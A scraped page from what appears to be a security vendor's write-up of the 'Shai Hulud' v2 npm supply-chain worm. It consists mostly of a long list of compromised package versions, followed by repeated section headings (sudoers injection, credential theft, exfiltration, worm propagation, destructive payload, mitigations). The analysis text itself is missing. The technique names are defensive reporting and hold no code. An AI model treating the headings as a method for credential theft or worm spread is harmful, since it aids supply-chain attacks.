@trackstar/test-angular-package (v0.0.9)
@trackstar/test-package (v1.1.5)
@trefox/sleekshop-js (v0.1.6)
@trigo/atrix (v7.0.1)
@trigo/atrix-acl (v4.0.2)
@trigo/atrix-elasticsearch (v2.0.1)
@trigo/atrix-mongoose (v1.0.2)
@trigo/atrix-orientdb (v1.0.2)
@trigo/atrix-postgres (v1.0.3)
@trigo/atrix-pubsub (v4.0.3)
@trigo/atrix-redis (v1.0.2)
@trigo/atrix-soap (v1.0.2)
@trigo/atrix-swagger (v3.0.1)
@trigo/bool-expressions (v4.1.3)
@trigo/eslint-config-trigo (v3.3.1)
@trigo/fsm (v3.4.2)
@trigo/hapi-auth-signedlink (v1.3.1)
@trigo/jsdt (v0.2.1)
@trigo/keycloak-api (v1.3.1)
@trigo/node-soap (v0.5.4)
@trigo/pathfinder-ui-css (v0.1.1)
@trigo/trigo-hapijs (v5.0.1)
@trpc-rate-limiter/cloudflare (v0.1.4)
@trpc-rate-limiter/hono (v0.1.4)
@varsityvibe/api-client (v1.3.36)
@varsityvibe/api-client (v1.3.37)
@varsityvibe/utils (v5.0.6)
@varsityvibe/validation-schemas (v0.6.7, v0.6.8)
@viapip/eslint-config (v0.2.4)
@vishadtyagi/full-year-calendar (v0.1.11)
@voiceflow/alexa-types (v2.15.60, v2.15.61)
@voiceflow/anthropic (v0.4.4, v0.4.5)
@voiceflow/api-sdk (v3.28.58, v3.28.59)
@voiceflow/backend-utils (v5.0.1, v5.0.2)
@voiceflow/base-types (v2.136.2, v2.136.3)
@voiceflow/body-parser (v1.21.2, v1.21.3)
@voiceflow/chat-types (v2.14.58, v2.14.59)
@voiceflow/circleci-config-sdk-orb-import (v0.2.1, v0.2.2)
@voiceflow/commitlint-config (v2.6.1, v2.6.2)
@voiceflow/common (v8.9.1, v8.9.2)
@voiceflow/default-prompt-wrappers (v1.7.3, v1.7.4)
@voiceflow/dependency-cruiser-config (v1.8.11, v1.8.12)
@voiceflow/dtos-interact (v1.40.1, v1.40.2)
@voiceflow/encryption (v0.3.2, v0.3.3)
@voiceflow/eslint-config (v7.16.4, v7.16.5)
@voiceflow/eslint-plugin (v1.6.1, v1.6.2)
@voiceflow/exception (v1.10.1, v1.10.2)
@voiceflow/fetch (v1.11.1, v1.11.2)
@voiceflow/general-types (v3.2.22, v3.2.23)
@voiceflow/git-branch-check (v1.4.3, v1.4.4)
@voiceflow/google-dfes-types (v2.17.12, v2.17.13)
@voiceflow/google-types (v2.21.12, v2.21.13)
@voiceflow/husky-config (v1.3.1, v1.3.2)
@voiceflow/logger (v2.4.2, v2.4.3)
@voiceflow/metrics (v1.5.1, v1.5.2)
@voiceflow/natural-language-commander (v0.5.2, v0.5.3)
@voiceflow/nestjs-common (v2.75.2, v2.75.3)
@voiceflow/nestjs-mongodb (v1.3.1, v1.3.2)
@voiceflow/nestjs-rate-limit (v1.3.2, v1.3.3)
@voiceflow/nestjs-redis (v1.3.1, v1.3.2)
@voiceflow/nestjs-timeout (v1.3.1, v1.3.2)
@voiceflow/npm-package-json-lint-config (v1.1.1, v1.1.2)
@voiceflow/openai (v3.2.2, v3.2.3)
@voiceflow/pino (v6.11.3, v6.11.4)
@voiceflow/pino-pretty (v4.4.1, v4.4.2)
@voiceflow/prettier-config (v1.10.1, v1.10.2)
@voiceflow/react-chat (v1.65.3, v1.65.4)
@voiceflow/runtime (v1.29.1, v1.29.2)
@voiceflow/runtime-client-js (v1.17.2, v1.17.3)
@voiceflow/sdk-runtime (v1.43.1, v1.43.2)
@voiceflow/secrets-provider (v1.9.2, v1.9.3)
@voiceflow/semantic-release-config (v1.4.1, v1.4.2)
@voiceflow/serverless-plugin-typescript (v2.1.7, v2.1.8)
@voiceflow/slate-serializer (v1.7.3, v1.7.4)
@voiceflow/stitches-react (v2.3.2, v2.3.3)
@voiceflow/storybook-config (v1.2.2, v1.2.3)
@voiceflow/stylelint-config (v1.1.1, v1.1.2)
@voiceflow/test-common (v2.1.1, v2.1.2)
@voiceflow/tsconfig (v1.12.1, v1.12.2)
@voiceflow/tsconfig-paths (v1.1.4, v1.1.5)
@voiceflow/utils-designer (v1.74.19, v1.74.20)
@voiceflow/verror (v1.1.4, v1.1.5)
@voiceflow/vite-config (v2.6.2, v2.6.3)
@voiceflow/vitest-config (v1.10.2, v1.10.3)
@voiceflow/voice-types (v2.10.58, v2.10.59)
@voiceflow/voiceflow-types (v3.32.45, v3.32.46)
@voiceflow/widget (v1.7.18, v1.7.19)
@vucod/email (v0.0.3)
@zapier/ai-actions (v0.1.18, v0.1.19, v0.1.20)
@zapier/ai-actions-react (v0.1.12, v0.1.13, v0.1.14)
@zapier/babel-preset-zapier (v6.4.1, v6.4.2, v6.4.3)
@zapier/browserslist-config-zapier (v1.0.3, v1.0.4, v1.0.5)
@zapier/eslint-plugin-zapier (v11.0.3, v11.0.4, v11.0.5)
@zapier/mcp-integration (v3.0.1, v3.0.2, v3.0.3)
@zapier/secret-scrubber (v1.1.3, v1.1.4, v1.1.5)
@zapier/spectral-api-ruleset (v1.9.1, v1.9.2, v1.9.3)
@zapier/stubtree (v0.1.2, v0.1.3, v0.1.4)
@zapier/zapier-sdk (v0.15.5, v0.15.6, v0.15.7)
02-echo (v0.0.7)
ai-crowl-shield (v1.0.7)
arc-cli-fc (v1.0.1)
asciitranslator (v1.0.3)
asyncapi-preview (v1.0.1)
asyncapi-preview (v1.0.2)
atrix (v1.0.1)
atrix-mongoose (v1.0.1)
automation_model (v1.0.491)
avvvatars-vue (v1.1.2)
axios-builder (v1.2.1)
axios-cancelable (v1.0.1, v1.0.2)
axios-timed (v1.0.1, v1.0.2)
babel-preset-kinvey-flex-service (v0.1.1)
barebones-css (v1.1.3, v1.1.4)
benmostyn-frame-print (v1.0.1)
best_gpio_controller (v1.0.10)
better-auth-nuxt (v0.0.10)
better-queue-nedb (v0.1.5)
bidirectional-adapter (v1.2.2, v1.2.3)
bidirectional-adapter (v1.2.4, v1.2.5)
blinqio-executions-cli (v1.0.41)
blob-to-base64 (v1.0.3)
bool-expressions (v0.1.2)
buffered-interpolation-babylon6 (v0.2.8)
bun-plugin-httpfile (v0.1.1)
bytecode-checker-cli (v1.0.8, v1.0.9, v1.0.10, v1.0.11)
bytes-to-x (v1.0.1)
calc-loan-interest (v1.0.4)
capacitor-plugin-apptrackingios (v0.0.21)
capacitor-plugin-purchase (v0.1.1)
capacitor-plugin-scgssigninwithgoogle (v0.0.5)
capacitor-purchase-history (v0.0.10)
capacitor-voice-recorder-wav (v6.0.3)
ceviz (v0.0.5)
chrome-extension-downloads (v0.0.3, v0.0.4)
claude-token-updater (v1.0.3)
coinmarketcap-api (v3.1.2, v3.1.3)
colors-regex (v2.0.1)
command-irail (v0.5.4)
compare-obj (v1.1.1, v1.1.2)
composite-reducer (v1.0.2, v1.0.3, v1.0.4, v1.0.5)
count-it-down (v1.0.1, v1.0.2)
cpu-instructions (v0.0.14)
create-director-app (v0.1.1)
create-glee-app (v0.2.2)
create-glee-app (v0.2.3)
create-hardhat3-app (v1.1.1, v1.1.2, v1.1.3, v1.1.4)
create-kinvey-flex-service (v0.2.1)
create-mcp-use-app (v0.5.3, v0.5.4)
create-silgi (v0.3.1)
crypto-addr-codec (v0.1.9)
css-dedoupe (v0.1.2)
csv-tool-cli (v1.2.1)
dashboard-empty-state (v1.0.3)
designstudiouiux (v1.0.1)
devstart-cli (v1.0.6)
dialogflow-es (v1.1.1, v1.1.2, v1.1.3, v1.1.4)
discord-bot-server (v0.1.2)
docusaurus-plugin-vanilla-extract (v1.0.3)
dont-go (v1.1.2)
dotnet-template (v0.0.3)
dotnet-template (v0.0.4)
drop-events-on-property-plugin (v0.0.2)
easypanel-sdk (v0.3.2)
electron-volt (v0.0.2)
email-deliverability-tester (v1.1.1)
enforce-branch-name (v1.1.3)
esbuild-plugin-brotli (v0.2.1)
esbuild-plugin-eta (v0.1.1)
esbuild-plugin-httpfile (v0.4.1)
eslint-config-kinvey-flex-service (v0.1.1)
eslint-config-nitpicky (v4.0.1)
eslint-config-trigo (v22.0.2)
eslint-config-zeallat-base (v1.0.4)
ethereum-ens (v0.8.1)
evm-checkcode-cli (v1.0.12, v1.0.13, v1.0.14, v1.0.15)
exact-ticker (v0.3.5)
expo-audio-session (v0.2.1)
expo-router-on-rails (v0.0.4)
express-starter-template (v1.0.10)
expressos (v1.1.3)
fat-fingered (v1.0.1, v1.0.2)
feature-flip (v1.0.1, v1.0.2)
firestore-search-engine (v1.2.3)
fittxt (v1.0.2, v1.0.3)
flapstacks (v1.0.1, v1.0.2)
flatten-unflatten (v1.0.1, v1.0.2)
formik-error-focus (v2.0.1)
formik-store (v1.0.1)
frontity-starter-theme (v1.0.1)
fuzzy-finder (v1.0.5, v1.0.6)
gate-evm-check-code2 (v2.0.3, v2.0.4, v2.0.5, v2.0.6)
gate-evm-tools-test (v1.0.5, v1.0.6, v1.0.7, v1.0.8)
gatsby-plugin-antd (v2.2.1)
gatsby-plugin-cname (v1.0.1, v1.0.2)
generator-meteor-stock (v0.1.6)
generator-ng-itobuz (v0.0.15)
get-them-args (v1.3.3)
github-action-for-generator (v2.1.27)
github-action-for-generator (v2.1.28)
gitsafe (v1.0.5)
go-template (v0.1.8)
go-template (v0.1.9)
gulp-inject-envs (v1.2.1, v1.2.2)
haufe-axera-api-client (v0.0.1, v0.0.2)
hope-mapboxdraw (v0.1.1)
hopedraw (v1.0.3)
hover-design-prototype (v0.0.5)
httpness (v1.0.2, v1.0.3)
hyper-fullfacing (v1.0.3)
hyperterm-hipster (v1.0.7)
ids-css (v1.5.1)
ids-enterprise-mcp-server (v0.0.2)
ids-enterprise-ng (v20.1.6)
ids-enterprise-typings (v20.1.6)
image-to-uri (v1.0.1, v1.0.2)
insomnia-plugin-random-pick (v1.0.4)
invo (v0.2.2)
iron-shield-miniapp (v0.0.2)
ito-button (v8.0.3)
itobuz-angular (v0.0.1)
itobuz-angular-auth (v8.0.11)
itobuz-angular-button (v8.0.11)
jacob-zuma (v1.0.1, v1.0.2)
jaetut-varit-test (1.0.2)
jan-browser (v0.13.1)
jquery-bindings (v1.1.2, v1.1.3)
jsonsurge (v1.0.7)
just-toasty (v1.7.1)
kill-port (v2.0.2, v2.0.3)
kinetix-default-token-list (v1.0.5)
kinvey-cli-wrapper (v0.3.1)
kinvey-flex-scripts (v0.5.1)
kns-error-code (v1.0.8)
korea-administrative-area-geo-json-util (v1.0.7)
kwami (v1.5.9, v1.5.10)
lang-codes (v1.0.1, v1.0.2)
license-o-matic (v1.2.1, v1.2.2)
lint-staged-imagemin (v1.3.1, v1.3.2)
lite-serper-mcp-server (v0.2.2)
lui-vue-test (v0.70.9)
luno-api (v1.2.3)
m25-transaction-utils (v1.1.16)
manual-billing-system-miniapp-api (v1.3.1)
mcp-use (v1.4.2, v1.4.3)
medusa-plugin-announcement (v0.0.3)
medusa-plugin-logs (v0.0.17)
medusa-plugin-momo (v0.0.68)
medusa-plugin-product-reviews-kvy (v0.0.4)
medusa-plugin-zalopay (v0.0.40)
mod10-check-digit (v1.0.1)
mon-package-react-typescript (v1.0.1)
my-saeed-lib (v0.1.1)
n8n-nodes-tmdb (v0.5.1)
n8n-nodes-vercel-ai-sdk (v0.1.7)
n8n-nodes-viral-app (v0.2.5)
nanoreset (v7.0.1, v7.0.2)
next-circular-dependency (v1.0.2, v1.0.3)
next-simple-google-analytics (v1.1.1, v1.1.2)
next-styled-nprogress (v1.0.4, v1.0.5)
ngx-useful-swiper-prosenjit (v9.0.2)
ngx-wooapi (v12.0.1)
nitro-graphql (v1.5.12)
nitro-kutu (v0.1.1)
nitrodeploy (v1.0.8)
nitroping (v0.1.1)
normal-store (v1.3.1, v1.3.2, v1.3.3, v1.3.4)
nuxt-keycloak (v0.2.2)
obj-to-css (v1.0.2, v1.0.3)
okta-react-router-6 (v5.0.1)
open2internet (v0.1.1)
orbit-boxicons (v2.1.3)
orbit-nebula-draw-tools (v1.0.10)
orbit-nebula-editor (v1.0.2)
orbit-soap (v0.43.13)
orchestrix (v12.1.2)
package-tester (v1.0.1)
parcel-plugin-asset-copier (v1.1.2, v.1.1.3)
pdf-annotation (v0.0.2)
pergel (v0.13.2)
pergeltest (v0.0.25)
piclite (v1.0.1)
pico-uid (v1.0.3, v1.0.4)
pkg-readme (v1.1.1)
posthog-react-native-session-replay (v1.2.2)
poper-react-sdk (v0.1.2)
posthog-docusaurus (v2.0.6)
posthog-js (v1.297.3)
posthog-node (v4.18.1, v5.11.3, v5.13.3)
posthog-node (v4.18.1) - Java/Maven
posthog-plugin-hello-world (v1.0.1)
posthog-react-native (v4.11.1, v4.12.5)
prime-one-table (v0.0.19)
prompt-eng (v1.0.50)
prompt-eng-server (v1.0.18)
puny-req (v1.0.3)
quickswap-ads-list (v1.0.33)
quickswap-default-staking-list (v1.0.11)
quickswap-default-staking-list-address (v1.0.55)
quickswap-default-token-list (v1.5.16)
quickswap-router-sdk (v1.0.1)
quickswap-sdk (v3.0.44)
quickswap-smart-order-router (v1.0.1)
quickswap-token-lists (v1.0.3)
quickswap-v2-sdk (v2.0.1)
ra-auth-firebase (v1.0.3)
ra-data-firebase (v1.0.7, v1.0.8)
react-component-taggers (v0.1.9)
react-data-to-export (v1.0.1)
react-element-prompt-inspector (v0.1.18)
react-favic (v1.0.2)
react-hook-form-persist (v3.0.1, v3.0.2)
react-jam-icons (v1.0.1, v1.0.2)
react-keycloak-context (v1.0.8, v1.0.9)
react-library-setup (v0.0.6)
react-linear-loader (v1.0.2)
react-micromodal.js (v1.0.1, v1.0.2)
react-native-datepicker-modal (v1.3.1, v1.3.2)
react-native-email (v2.1.1, v2.1.2)
react-native-fetch (v2.0.1, v2.0.2)
react-native-get-pixel-dimensions (v1.0.1, v1.0.2)
react-native-google-maps-directions (v2.1.2)
react-native-jam-icons (v1.0.1, v1.0.2)
react-native-log-level (v1.2.1, v1.2.2)
react-native-modest-checkbox (v3.3.1)
react-native-modest-storage (v2.1.1)
react-native-phone-call (v1.2.1, v1.2.2)
react-native-retriable-fetch (v2.0.1, v2.0.2)
react-native-use-modal (v1.0.3)
react-native-view-finder (v1.2.1, v1.2.2)
react-native-websocket (v1.0.3, v1.0.4)
react-native-worklet-functions (v3.3.3)
react-packery-component (v1.0.3)
react-qr-image (v1.1.1)
react-scrambled-text (v1.0.4, v1.0.5)
rediff (v1.0.5)
rediff-viewer (v0.0.7)
redux-forge (v2.5.3)
redux-router-kit (v1.2.2, v1.2.3, v1.2.4)
revenuecat (v1.0.1)
rollup-plugin-httpfile (v0.2.1)
sa-company-registration-number-regex (v1.0.1, v1.0.2)
sa-id-gen (v1.0.4, v1.0.5)
samesame (v1.0.3)
scgs-capacitor-subscribe (v1.0.11)
scgsffcreator (v1.0.5)
schob (v1.0.3)
selenium-session (v1.0.5)
selenium-session-client (v1.0.4)
set-nested-prop (v2.0.1, v2.0.2)
shelf-jwt-sessions (v0.1.2)
shell-exec (v1.1.3, v1.1.4)
shinhan-limit-scrap (v1.0.3)
silgi (v0.43.30)
simplejsonform (v1.0.1)
skills-use (v0.1.1, v0.1.2)
solomon-api-stories (v1.0.2)
solomon-v3-stories (v1.15.6)
solomon-v3-ui-wrapper (v1.6.1)
soneium-acs (v1.0.1)
sort-by-distance (v2.0.1)
south-african-id-info (v1.0.2)
stat-fns (v1.0.1)
stoor (v2.3.2)
sufetch (v0.4.1)
super-commit (v1.0.1)
svelte-autocomplete-select (v1.1.1)
svelte-toasty (v1.1.2, v1.1.3)
tanstack-shadcn-table (v1.1.5)
tavily-module (v1.0.1)
tcsp (v2.0.2)
tcsp-draw-test (v1.0.5)
tcsp-test-vd (v2.4.4)
template-lib (v1.1.3, v1.1.4)
template-micro-service (v1.0.2, v1.0.3)
tenacious-fetch (v2.3.2, v2.3.3)
test-foundry-app (v1.0.1, v1.0.2, v1.0.3, v1.0.4)
test-hardhat-app (v1.0.1, v1.0.2, v1.0.3, v1.0.4)
test23112222-api (v1.0.1)
tiaan (v1.0.2)
tiptap-shadcn-vue (v0.2.1)
token.js-fork (v0.7.32)
toonfetch (v0.3.2)
trigo-react-app (v4.1.2)
ts-relay-cursor-paging (v2.1.1)
typeface-antonio-complete (v1.0.5)
typefence (v1.2.2, v1.2.3)
typeorm-orbit (v0.2.27)
unadapter (v0.1.3)
undefsafe-typed (v1.0.3, v1.0.4)
unemail (v0.3.1)
uniswap-router-sdk (v1.6.2)
uniswap-smart-order-router (v3.16.26)
uniswap-test-sdk-core (v4.0.8)
unsearch (v0.0.3)
uplandui (v0.5.4)
upload-to-play-store (v1.0.1, v1.0.2)
url-encode-decode (v1.0.1, v1.0.2)
use-unsaved-changes (v1.0.9)
v-plausible (v1.2.1)
valid-south-african-id (v1.0.3)
valuedex-sdk (v3.0.5)
vf-oss-template (v1.0.1, v1.0.2, v1.0.3, v1.0.4)
victoria-wallet-constants (v0.1.1, v0.1.2)
victoria-wallet-core (v0.1.1, v0.1.2)
victoria-wallet-type (v0.1.1, v0.1.2)
victoria-wallet-utils (v0.1.1, v0.1.2)
victoria-wallet-validator (v0.1.1, v0.1.2)
victoriaxoaquyet-wallet-core (v0.2.1, v0.2.2)
vite-plugin-httpfile (v0.2.1)
vue-browserupdate-nuxt (v1.0.5)
wallet-evm (v0.3.1, v0.3.2)
wallet-type (v0.1.1, v0.1.2)
web-scraper-mcp (v1.1.4)
web-types-htmx (v0.1.1)
web-types-lit (v0.1.1)
webpack-loader-httpfile (v0.2.1)
wellness-expert-ng-gallery (v5.1.1)
wenk (v1.0.9, v1.0.10)
zapier-async-storage (v1.0.1, v1.0.2, v1.0.3)
zapier-platform-cli (v18.0.2, v18.0.3, v18.0.4)
zapier-platform-core (v18.0.2, v18.0.3, v18.0.4)
zapier-platform-legacy-scripting-runner (v4.0.2, v4.0.3, v4.0.4)
zapier-platform-schema (v18.0.2, v18.0.3, v18.0.4)
zapier-scripts (v7.8.3, v7.8.4)
zuper-cli (v1.0.1)
zuper-sdk (v1.0.57)
zuper-stream (v2.0.9)

Security that keeps pace with AI development

Shai Hulud Strikes Again (v2)

Technical Analysis

C2 Discovery via GitHub Search

Environment Fingerprinting

GitHub Actions Runner Privilege Escalation

`pQ0()` - Sudoers Injection

`gQ0()` - DNS and Firewall Manipulation

Credential Collection

1. Environment Variables

2. TruffleHog Filesystem Scan

3. Cloud Provider APIs

AWS Multi-Region Enumeration

4. GitHub Actions Secrets with Automated Credential Scraping

Data Exfiltration

Triple-Base64 Encoding

Worm Propagation

Primary NPM Token Exploitation

Secondary Token Mining from GitHub Actions

Destructive Payload

Stealth Mechanisms

Mitigations & Defenses

Indicators of Compromise

Related posts

13 Malicious Packagist Themes Deliver iOS Spyware That Steals Crypto Wallet Seeds

OpenAPI React Query Codegen Compromised in Mini Shai-Hulud npm Supply Chain Attack

19 Chrome and Edge Extensions Deliver a Wallet Drainer and Credential-Stealing Payloads

Subscribe to our newsletter

Shai Hulud Strikes Again (v2)

Technical Analysis#

C2 Discovery via GitHub Search#

Environment Fingerprinting#

GitHub Actions Runner Privilege Escalation#

pQ0() - Sudoers Injection#

gQ0() - DNS and Firewall Manipulation#

Credential Collection#

1. Environment Variables#

2. TruffleHog Filesystem Scan#

3. Cloud Provider APIs#

AWS Multi-Region Enumeration#

4. GitHub Actions Secrets with Automated Credential Scraping#

Data Exfiltration#

Triple-Base64 Encoding#

Worm Propagation#

Primary NPM Token Exploitation#

Secondary Token Mining from GitHub Actions#

Destructive Payload#

Stealth Mechanisms#

Mitigations & Defenses#

Indicators of Compromise#

Subscribe to our newsletter

Technical Analysis

C2 Discovery via GitHub Search

Environment Fingerprinting

GitHub Actions Runner Privilege Escalation

`pQ0()` - Sudoers Injection

`gQ0()` - DNS and Firewall Manipulation

Credential Collection

1. Environment Variables

2. TruffleHog Filesystem Scan

3. Cloud Provider APIs

AWS Multi-Region Enumeration

4. GitHub Actions Secrets with Automated Credential Scraping

Data Exfiltration

Triple-Base64 Encoding

Worm Propagation

Primary NPM Token Exploitation

Secondary Token Mining from GitHub Actions

Destructive Payload

Stealth Mechanisms

Mitigations & Defenses

Indicators of Compromise